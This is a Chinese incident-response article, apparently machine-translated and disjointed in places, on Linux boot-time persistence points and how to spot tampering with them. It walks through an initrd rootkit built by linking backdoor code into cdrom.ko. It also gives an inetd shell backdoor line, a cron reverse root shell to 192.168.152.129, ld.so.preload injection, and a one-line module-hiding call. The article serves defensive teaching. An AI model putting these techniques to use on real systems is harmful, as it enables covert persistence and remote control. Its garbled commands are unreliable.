Linux的自启动项比Windows要简单的多。在我们的应急处理中,必须知道操作系统的启动方式有哪些,否则后门是无法清除的。啊。先说说linux的启动过程。某黑哥十几年前写过一篇文章,说今天采访了一个脚本小子,让他说说linux的启动过程。他沉默了很久。找出为什么。看完之后,我也学会了。linux的启动过程是怎样的?哈哈,虽然我自己也不知道,但我喜欢问。百度一下linux的启动过程。如上图,一系列的东西:BIOS自检-->从BIOS中读取启动顺序-->读取MBR中的bootloader-->加载内核-->读取伪根-->读取根还有文件里面init网站上的很多文字说明,但是大段文字可能就算全部背下来也没用,过两天就忘了,因为不知道重点。挑几个重点:如果不想看废话,可以直接跳到正文章节initrdBIOS查看磁盘的MBR信息,找到bootloader程序执行。阶段,这个阶段主要是加载boot分区对应的文件系统的驱动,然后挂载boot分区。这个时候GRUB才真正完成,然后GRUB就可以读取/boot上的文件和自己在boot上的第一个文件第二阶段的代码,GRUB的第二阶段,程序会根据/boot/grub/grub.conf的配置。那么/boot释放了什么?Grub第二阶段的配置文件(grub.conf)是一个名为vmliunz-versionnumber的压缩文件,其实就是系统的内核(有经验的同学会知道,使用GDB动态调试内核时kcore然后对比它和静态内核,比较的是这个文件中的地址)一个名为initrd-versionnumber*img或initramfs-versionnumber*img的压缩镜像文件继续上面的,重点是加载内核ThisisHowtoload,上面说了,内核其实就是/boot/vmlinuz这个文件,加载内核就是把这个文件加载到内存中,但是如果我们看下面的配置,就会发现在加载/boot/vmlinuz的时候,它还加载了一个/boot/initrd*.img东西。我们的cat/boot/grub/grub.conf如下:这是什么东西?如上图所示,在linux内核启动之前,bootloader会先将存储介质中的initrd文件和内核文件加载到内存中。当内核启动时,它会首先访问该内存中的initrd文件系统。为什么要把内核分成两块,因为此时你不能挂载真正的根文件系统。如果你想挂载它,你必须加载必要的驱动程序,如上面的引导。但是,根文件系统支持IDE、SCSI、USB等多种介质,如果将这些设备的驱动编译进内核,那么内核文件(vmlinuz)将是难以想象的庞大。因此,驱动程序被剥离出来并加载到initrd文件中。我们通常会在lsmod中看到很多正在运行的驱动模块,但不知道它们是如何自动加载的。它们实际上是在内核加载之前加载的,它们被放在initrd中。我们可以解压initrd看看:执行命令,我这里使用的cpio是2.6内核,和2.4使用的image-initrd不同。2.6用的cpio-initrd基本都用上了。至于image-initrd和cpio-initrd的区别,自行百度。我们cat当前目录的init可以看到一些加载驱动的信息:内核启动分为两个阶段:第一个阶段initrd/initramfs*.img文件被加载到内存后,会伪装成根文件system(Pseudo-rootfs),这个伪根下有一个脚本文件/init(2.4内核版本的核心文件是/linuxrc而不是/init),执行这个/init,它会负责查找和加载内核访问根文件系统所必需的驱动程序,成功加载根文件系统存储介质所需的驱动模块后,最后加载真正的根域(truerootfs)。第二阶段会在真正的根文件系统中执行/sbin/init进程。至此,内核的工作全部结束,完全交给/sbin/init文件处理。在/init脚本的最下面有这样一行:init=/sbin/init这行指定了第一个要执行的程序在硬盘域中的位置,变量init指定了第一个要执行的程序这个脚本进程是/sbin/init。如果你细心,你可能会发现上面的/boot/grub/grub.conf使用的是initramfs而不是initrd。它们的区别和优缺点是什么?限于篇幅,请自行百度。根据上面的梳理,我们来到了第一个自启动的使用点:1.initrd如果我们解压/boot下的initrd文件,修改init脚本及其包含的脚本,然后把这个initrd重新打包成*img来代替原来的initrd,那么效果如何呢?大意是在系统重启后,我们修改后的initrd会被加载,从而达到一些你想要达到的目的。例如:我们可以在init脚本的下标函数中自定义要加载的内核模块,或者直接在load_modules()中加载自己的模块,这样可以让我们的模块随系统自动启动。当然,比较阴险的是替换initrd中的.ko驱动模块(这比在外面替换系统关键模块要阴险得多),然后重新打包替换原来的initrd文件,这样系统重启后,您的替换模块将正常工作。让我们来演示一下:我们lsmod找到一个活的系统驱动程序,我们选择cdrom,我们首先编译我们的后门rootkit。cdrom_init运行,模块A提供的函数需要在模块B中用extern声明,所以这样写:externint__initcdrom_init(void);int__initrootkit(void){cdrom_init();然后将initrd解压到test目录下(解压方法同上),然后找到cdrom.ko,复制到rootkit.ko目录下。上面的第二行命令是将init函数的范围从本地更改为全局。第三行是将我们的后门与原来的cdrom.ko连接起来,成为一个新的ko,此时我们可以将这个新的ko替换到test目录下的initrd中,但是我们还需要做一件事,那就是,我们需要把我们的ko入口地址改成我们的rootkit函数地址,我们可以看一下入口init_module和rootkit()的地址:objdump-tcdrom_new.ko|grepinit可以看出不一样,我们的地址是0000000000000011,所以我们首先要将init_module的地址修改为00000000000000011修改工具可以在加入知识星球后获取(加入方法见文末)。现在我们可以用这个cdrom_new.ko覆盖原来test目录下的cdrom_new.ko,重新打包initrd覆盖原来的/boot/initrd.img-4.6.0-kali1-amd64,然后重启执行dmesg|grepRootkit,我们可以看到如下:当然也可以对内核进行操作,有兴趣的同学可以试试。我们如何检查它是否被篡改了?可以使用简单的检查,stat看时间是否正确,当然要看变化的时间,其他时间没用。stat/boot/initrd-2.6.32-431.el6.x86_64.img2.Inittab内核加载后,控制权交给初始化程序init,它会根据/中定义的系统运行级别执行动作etc/inittab脚本执行。所以这个配置文件inittab就成为了第二个启动点。比如:大家熟知的shv5及其变种ddrk、mafix都是这样启动的。被篡改后的inittab截图:/usr/sbin/ttyload(后门程序)在设置2345运行级别时会执行一次。3.Sysinitinit**首先执行的脚本是/etc/rc.d/rc.sysinit,这是真正的操作系统初始化脚本。这个脚本的大致功能就是启动udev和selinux,加载硬盘映射,挂载其他文件系统等,修改它当然可以实现自启动。另外,它还提供了两个模块加载的地方,实现模块自启动,如下图:4.serviceinit会根据定义的启动级别执行对应目录下的脚本,运行在不同的位置级别,脚本/etc/rc.d/rc将执行不同目录中的脚本。例如:Runlevel0–/etc/rc.d/rc0.d/这些目录下的脚本只有K*和S*K开头的文件是开机需要关闭的服务,启动的文件带S的是开机需要开启的服务。所以这些脚本就成为了高危项目,尤其是S开头的脚本。可以通过chkconfig–list查看哪些服务被打开或者关闭,但是我们最怕的是这些脚本被篡改了。我们如何检查服务是否被篡改?我们可以用ctime和它的家族成员newerct来校验,ctime是一个很重要的参数,它代表了变化的时间,所有的变化,包括state属性权限等等,是最靠谱的校验方法类似于ctime和newerct.当然stat命令也可以查看所有,但是只能查看单个文件。当然,在执行statfind等命令时,最好使用rpm–Vf看一下,或者使用自己的命令工具包。如下图所示:我们执行ls–larth显示最后更改的服务是mysqld,但是我们执行命令find。–ctime-100说明最后更改的服务不是mysqld。如上图:functions服务在100天内被篡改了,我们继续猫看看里面有什么。可以看到在第二行的两个注释之间增加了一行代码,即服务启动时执行/var/tmp/rootkit,不输出标准输出和错误输出。.一般情况下都放在第一行注释(尤其是自动病毒),还有***,这个不一定,特性基本都是xxx>/dev/null,这种形式,forStartup不显示输出。注意,这里需要先cd/etc/init.d,因为是软链接,所以必须先进入这个目录,不能直接使用find/etc/init.d-ctime90%Linux后门是通过这个方法开始,如果你学会了这个技巧,你可以找到90%的后门。5、rc.loaclinit根据配置的启动级别执行相应目录下的脚本,最后执行脚本/etc/rc.d/rc.local,至此系统启动完成。我们很多管理员喜欢把这个启动应用服务的/etc/rc.local脚本放在这里,我就不多说了。6.模块上面介绍sysinit时提到过,这个脚本提供了两个可以启动模块的地方,分别是/etc/rc.modules和/etc/sysconfig/modules/*.modules。这个是redhat/centos系列Debian/Ubuntu/kali系列是这个文件/etc/modules另外模块的启动大部分情况下依赖于服务启动等启动脚本,这点和windows不同,甚至2.6版本模块的启动状态也比2.4大打折扣。大多数情况下,模块的状态没有服务优先级高。当然关键系统模块的状态还是很高的,所以这些关键系统模块是否被替换也是一个checkpoint,还是可以通过ctime来检查。另外在centos系列下,还有一种方法是在线更新驱动模块到initrd。可以在/etc/initramfs-tools/modules文件中添加对应模块的模块名称及其参数,然后使用update-initramfs-u-k命令进行更新。lsmod显示正在运行的模块,modprobe-l显示所有可加载的模块(不一定是运行的)有时最粗暴的隐藏模块的方法只是隐藏lsmod命令,我们可用的模块在/sys/modules中,但是运行模块和运行模块之间是有特点的非运行模块。对于非运行模块,模块目录下只有一个空目录parameters,而运行模块有这些目录,如图:/sys/modules下的各个模块目录循环判断是否有隐藏模块。当然,这是非常不可靠的。一行代码kobject_del(&THIS_MODULE->mkobj.kobj);逃过检查。这里主要说说模块的自启动。后面会详细讲模块的隐藏和检查。至此我们就把linux的全篇看完了,希望对大家了解linux有所帮助。7、网络子服务一些小服务可以托管在inetd/xinetd中。一些允许启动的程序可能被替换,或者被配置文件中的其他程序替换,或者配置文件中启用了一些危险的程序。服务。例如:daytimestreamtcpnowaitroot/bin/bashbash–i开启daytime服务并绑定一个shell作为后门。话不多说,直接查看/etc/inetd.conf或/etc/xinetd.d八。环境变量在环境变量文件(/etc/profile.bashrc.bash_profile.bash_logout)中添加命令,当管理员登录或退出时会执行该命令(类似于Windows启动目录)。曾经在应急中遇到过一个电商的图片服务器。整个服务器无法解析,但是WEB的根目录是一个普通用户的家目录。大佬,直接通过前台上传图片的地方上传了一个.bashrc覆盖原来的.bashrc。周一管理员登录这个普通用户的时候,执行了一个反弹shell,摔倒了!!!九。计划任务Linux计划任务有3个地方/etc/crontab/etc/cron.d//var/spool/cron/(Debian/Ubuntu系列是/var/spool/cron/crontabs/)其中/etc/crontab和/etc/cron.d/是系统计划/var/spool/cron/是用户计划。我们通常执行crontab-l来查看/var/spool/cron/下的东西。黑客通常会加上这三个地方*****这样的内容表示一分钟后执行,比如这个反弹rootshell*****root/bin/bash-i>&/dev/tcp/192.168.152.129/44440>&1如果你做过渗透测试,遇到redis、rsync、nfs等漏洞或者一个可以写入操作系统任意位置的上传点,我们可以写入mof或者windows2003下的启动目录,以及对于linux,我们通常写入.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron这些位置,可见定时任务目录是我们渗透的永恒主题。其实计划任务目录并没有那么好用。它们之间有细微的差别,因为它们对权限的要求非常高。比如目录/etc/cron.d必须要有x权限才能定时执行,/var/splool/cron目录要执行就不能有w权限。比如有一个mysql数据库的注入点。在服务器任意位置写文件,那么写这三个计划任务能不能获取rootshell呢?答案是否定的,为什么?/etc/crontab可惜mysql没有覆盖,这个文件本身已经存在,所以没有/etc/cron.d说下mysql默认的umask(掩码),默认是022,666-022是644.注意新建linux文件全是666而不是777,它本质上是没有执行权限的,所以644权限,/etc/cron.d自然是不允许执行/var/splool/cron不能有w权限,而644是rw-r--r--,有写权限,所以不允许上面说了这么多废话,只是想告诉管理员:好的安全运维人员应该知道哪些应用在服务器可以使用并可能造成威胁。如果要用,只能在什么地方用,哪里可以加。或者修改,这个需要管理员知道。是一定要先做交易员才能炒股,还是一定要先做黑客才能做安全运维?虽然不一定~但至少你要对他们的套路有个大概的了解。10.图形环境的自启动基于gnome桌面环境和Xorg的系统可能需要注意这两个文件/etc/xdg/autostart~/.config/autostart11.SystemdDebian系列支持systemd,它最瘦。设置以用户登录的方式启动服务,也就是说可以设置自启动服务不需要root用户。12、动态链接库这个类似于windows下的LPK劫持。我们在流程的最后一部分谈到了它。可以设置/etc/ld.so.preload,让使用动态编译的程序先加载我们的so文件,这样只要用户登录后,我们执行任意命令就可以加载我们的so。在so程序中使用__attribute__((constructor))可以让so一旦加载就执行我们的代码,达到我们的目的。十三。当然也有一些歪门邪道的,比如替换export、umask、unset等命令。这些命令在用户的配置文件中定义。当用户登录时,会调用这些命令来设置一些环境变量,那么就会执行这些命令程序,比如替换上一条日志。当用户登录时,会显示上次登录,执行perl脚本。替换系统文件,Pam.d后门替换。另外,任何程序都可能执行自己家目录下的rc文件,比如我们可以在vimrc中编写执行代码等。我们的检查方法也主要是在应用层面介绍。如果被司机藏起来了,那就另当别论了。后面我们会介绍内核模块的对抗。
